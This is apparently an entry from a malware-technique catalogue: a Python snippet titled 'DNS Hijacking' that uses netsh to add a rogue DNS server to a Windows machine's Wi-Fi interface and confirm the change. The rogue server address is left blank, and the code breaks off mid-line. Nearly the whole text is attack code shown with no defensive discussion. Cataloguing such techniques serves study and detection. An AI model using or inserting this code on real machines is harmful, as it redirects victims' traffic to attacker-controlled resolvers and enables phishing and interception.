(Python) DNS Hijacking by Thomas Roccia

Created the Tuesday 13 December 2022. Updated 1 year, 4 months ago.


            import subprocess

# Replace with the IP address of the rogue DNS server
rogue_dns_server = ""

# Get the current DNS server settings
current_dns_servers = subprocess.check_output(["netsh", "interface", "ip", "show", "dnsservers"])

# Modify the DNS server settings to point to the rogue DNS server
subprocess.call(["netsh", "interface", "ip", "add", "dnsservers", "Wi-Fi", rogue_dns_server])

# Confirm that the DNS server settings have been changed
new_dns_servers = subprocess.check_output(["netsh", "interface", "ip", "show", "dnsservers"])
if new_dns_servers